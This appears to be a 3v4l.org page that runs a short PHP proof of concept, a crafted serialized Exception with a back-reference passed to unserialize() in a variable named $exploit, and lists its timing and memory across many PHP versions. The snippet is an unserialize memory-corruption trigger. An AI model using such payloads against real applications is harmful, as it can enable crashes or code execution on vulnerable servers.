3v4l.org

run code in 300+ PHP versions simultaneously
<?php $exploit = 'a:2:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";i:1;}i:1;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0120.00918.79
8.3.30.0120.00418.85
8.3.20.0000.00720.34
8.3.10.0080.00023.48
8.3.00.0080.00019.56
8.2.170.0120.00322.96
8.2.160.0000.01320.35
8.2.150.0000.00724.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0060.00317.63
8.2.110.0060.00322.26
8.2.100.0070.00417.63
8.2.90.0080.00019.05
8.2.80.0050.00317.97
8.2.70.0040.00417.63
8.2.60.0030.00617.77
8.2.50.0000.00818.07
8.2.40.0050.00319.28
8.2.30.0030.00718.07
8.2.20.0040.00417.60
8.2.10.0070.00018.01
8.2.00.0000.00818.12
8.1.270.0070.00720.41
8.1.260.0060.00326.35
8.1.250.0050.00328.09
8.1.240.0060.00322.53
8.1.230.0110.00017.42
8.1.220.0050.00317.74
8.1.210.0030.00518.77
8.1.200.0040.00417.22
8.1.190.0030.00517.22
8.1.180.0040.00418.10
8.1.170.0050.00318.50
8.1.160.0070.00022.02
8.1.150.0040.00418.84
8.1.140.0030.00617.41
8.1.130.0040.00417.51
8.1.120.0030.00317.40
8.1.110.0040.00417.32
8.1.100.0040.00417.47
8.1.90.0080.00017.43
8.1.80.0070.00017.36
8.1.70.0030.00317.29
8.1.60.0080.00017.55
8.1.50.0000.00817.54
8.1.40.0040.00417.56
8.1.30.0080.00017.66
8.1.20.0030.00517.52
8.1.10.0040.00417.55
8.1.00.0050.00217.54
8.0.300.0040.00418.77
8.0.290.0070.00016.75
8.0.280.0070.00018.39
8.0.270.0030.00317.25
8.0.260.0030.00318.35
8.0.250.0000.00816.91
8.0.240.0040.00416.98
8.0.230.0000.00716.88
8.0.220.0090.00016.87
8.0.210.0000.00716.93
8.0.200.0060.00016.90
8.0.190.0040.00416.93
8.0.180.0000.00816.95
8.0.170.0000.00816.85
8.0.160.0040.00416.88
8.0.150.0040.00416.78
8.0.140.0070.00016.77
8.0.130.0060.00013.32
8.0.120.0030.00516.78
8.0.110.0000.00816.84
8.0.100.0040.00416.77
8.0.90.0030.00316.74
8.0.80.0100.01016.92
8.0.70.0000.00716.88
8.0.60.0000.00716.95
8.0.50.0000.00816.90
8.0.30.0080.00916.95
8.0.20.0130.01017.40
8.0.10.0000.00716.83
8.0.00.0080.00916.68
7.4.330.0000.00515.13
7.4.320.0000.00716.38
7.4.300.0000.00616.57
7.4.290.0000.00716.40
7.4.280.0050.00316.46
7.4.270.0000.00716.57
7.4.260.0080.00316.51
7.4.250.0040.00416.41
7.4.240.0050.00216.50
7.4.230.0020.00516.65
7.4.220.0040.00216.55
7.4.210.0030.01016.49
7.4.200.0070.00016.26
7.4.160.0130.00316.49
7.4.150.0110.01517.40
7.4.140.0120.00517.86
7.4.130.0050.01316.45
7.4.120.0110.01316.62
7.4.110.0100.01016.49
7.4.100.0170.00416.38
7.4.90.0070.01116.75
7.4.80.0090.00919.39
7.4.70.0110.01116.71
7.4.60.0070.01016.41
7.4.50.0030.00616.42
7.4.40.0000.01616.30
7.4.30.0120.00916.53
7.4.00.0060.00915.07
7.3.330.0060.00013.27
7.3.320.0000.00513.29
7.3.310.0000.00716.20
7.3.300.0030.00316.28
7.3.290.0060.01016.34
7.3.280.0070.01316.33
7.3.270.0150.00317.40
7.3.260.0140.00316.29
7.3.250.0110.00716.46
7.3.240.0060.00916.62
7.3.230.0060.01616.45
7.3.210.0100.00716.66
7.3.200.0110.00616.46
7.3.190.0110.00916.48
7.3.180.0130.00316.33
7.3.170.0080.00816.53
7.3.160.0090.01216.39
7.3.10.0030.01216.76
7.3.00.0000.01516.88
7.2.330.0110.01116.47
7.2.320.0130.00516.60
7.2.310.0100.00616.55
7.2.300.0100.00716.69
7.2.290.0120.00716.75
7.2.130.0000.01616.84
7.2.120.0040.00416.66
7.2.110.0000.01716.90
7.2.100.0100.00717.03
7.2.90.0090.00616.95
7.2.80.0140.00316.78
7.2.70.0090.00616.92
7.2.60.0050.00616.77
7.2.50.0030.01316.84
7.2.40.0040.01216.95
7.2.30.0100.00316.97
7.2.20.0060.00916.90
7.2.10.0070.00316.89
7.2.00.0090.00718.02
7.1.250.0030.01315.82
7.1.200.0080.00815.28
7.1.100.0060.00618.09
7.1.70.0000.00717.02
7.1.60.0030.01319.27
7.1.50.0100.01017.01
7.1.00.0070.07322.37
7.0.200.0090.00616.50
7.0.60.0030.09019.93
7.0.50.0030.06317.82
7.0.40.0070.05720.30
7.0.30.0370.05320.13
7.0.20.0230.08020.12
7.0.10.0170.06020.02
7.0.00.0170.06320.25
5.6.210.0030.04020.71
5.6.200.0000.04318.15
5.6.190.0130.07720.68
5.6.180.0300.04020.39
5.6.170.0230.08020.52
5.6.160.0100.04720.50
5.6.150.0070.04018.09
5.6.140.0030.08318.10
5.6.130.0030.04018.14
5.6.120.0030.08321.09
5.6.110.0170.07321.11
5.6.100.0100.08021.11
5.6.90.0000.04321.07
5.6.80.0130.07020.53
5.6.70.4530.03320.27
5.5.350.0100.03020.41
5.5.340.0030.04017.99
5.5.330.0100.07720.15
5.5.320.0270.04720.41
5.5.310.0200.04320.50
5.5.300.0100.08017.95
5.5.290.0030.06017.86
5.5.280.0070.05020.80
5.5.270.0100.04720.79
5.5.260.0170.07320.82
5.5.250.0170.05020.58
5.5.240.0070.08020.15
5.4.450.0670.06319.45
5.4.440.0700.06019.14
5.4.430.0630.07719.51
5.4.420.0800.07019.60
5.4.410.0730.06319.17
5.4.400.0700.06319.26
5.4.390.0630.07019.26
5.4.380.0670.06718.98
5.4.370.0530.07019.15
5.4.360.0630.05319.15
5.4.350.0200.04718.71
5.4.340.0570.07019.15
5.4.320.0630.05719.07
5.4.310.0800.06319.19
5.4.300.0470.04319.18
5.4.290.0170.04719.12
5.4.280.0670.04319.13
5.4.270.0530.06019.27
5.4.260.0400.05319.25
5.4.250.0430.05018.70
5.4.240.0070.06019.17
5.4.230.0430.05319.28
5.4.220.0230.05719.23
5.4.210.0270.05019.14
5.4.200.0600.05019.04
5.4.190.0700.05719.16
5.4.180.0630.05719.16
5.4.170.0730.06718.88
5.4.160.0630.04319.14
5.4.150.0730.05019.13
5.4.140.0700.05316.27
5.4.130.0500.06016.28
5.4.120.0570.05716.26
5.4.110.0700.05316.45
5.4.100.0630.05016.15
5.4.90.0700.04316.52
5.4.80.0530.05716.48
5.4.70.0300.05716.18
5.4.60.0330.06716.28
5.4.50.0030.03716.19
5.4.40.0070.06716.36
5.4.30.0100.07016.45
5.4.20.0300.03316.31

preferences:
50.7 ms | 400 KiB | 5 Q